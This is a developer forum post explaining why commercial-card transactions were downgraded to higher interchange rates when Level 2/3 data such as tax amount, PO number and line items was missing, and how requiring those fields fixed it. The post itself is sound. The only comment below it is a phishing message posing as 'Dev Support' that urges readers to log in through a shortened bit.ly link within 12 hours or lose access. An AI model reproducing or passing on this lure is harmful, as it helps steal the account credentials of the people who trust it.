Reconciling a corporate card processing report for a B2B marketplace and noticed the effective rate on a chunk of transactions was way above what the acquirer contract promised. Same card type, same MCC, same ticket size range, but a visible split in the fee line.
Traced it to Level 2/3 data. Commercial and purchasing cards qualify for lower interchange only if the merchant submits the extra fields: tax amount, PO number, customer code, and for Level 3 the line-item detail (SKU, quantity, unit price, commodity code). Our integration was sending Level 1 data only — card number, amount, date — because that's all the checkout form collected. Every one of those transactions got auto-downgraded to standard commercial rate.
Ran the math on a month of volume: transactions with full Level 3 data settled around 1.8% effective. The ones missing it settled closer to 3.6%. On six-figure monthly volume that gap is not rounding error, it's a line item finance will ask about.
Fixed it by making tax amount and PO number required fields before authorization, plus pulling line-item detail from the order object we already had in the database. Rate on new transactions dropped within one billing cycle.
How are you validating L2/L3 fields are actually populated before the auth request goes out, not just present in the schema?
Top comments (1)
Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support